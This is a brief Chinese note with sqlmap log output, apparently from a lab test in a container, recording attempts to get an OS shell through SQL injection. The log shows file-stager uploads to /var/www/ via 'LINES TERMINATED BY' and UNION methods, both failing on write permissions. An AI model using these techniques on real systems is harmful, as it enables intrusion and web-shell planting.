file-read, file-write 都可以 os-shell 没有权限，进容器改了一个目录权限才成功看到shell。 [15:25:42] [WARNING] unable to automatically parse any web server path [15:25:42] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [15:25:43] [WARNING] reflective value(s) found and filtering out [15:25:43] [WARNING] unable to upload the file stager on '/var/www/' [15:25:43] [INFO] trying to upload the file stager on '/var/www/' via UNION method [15:25:43] [WARNING] expect junk characters inside the file as a leftover from UNION query [15:25:43] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)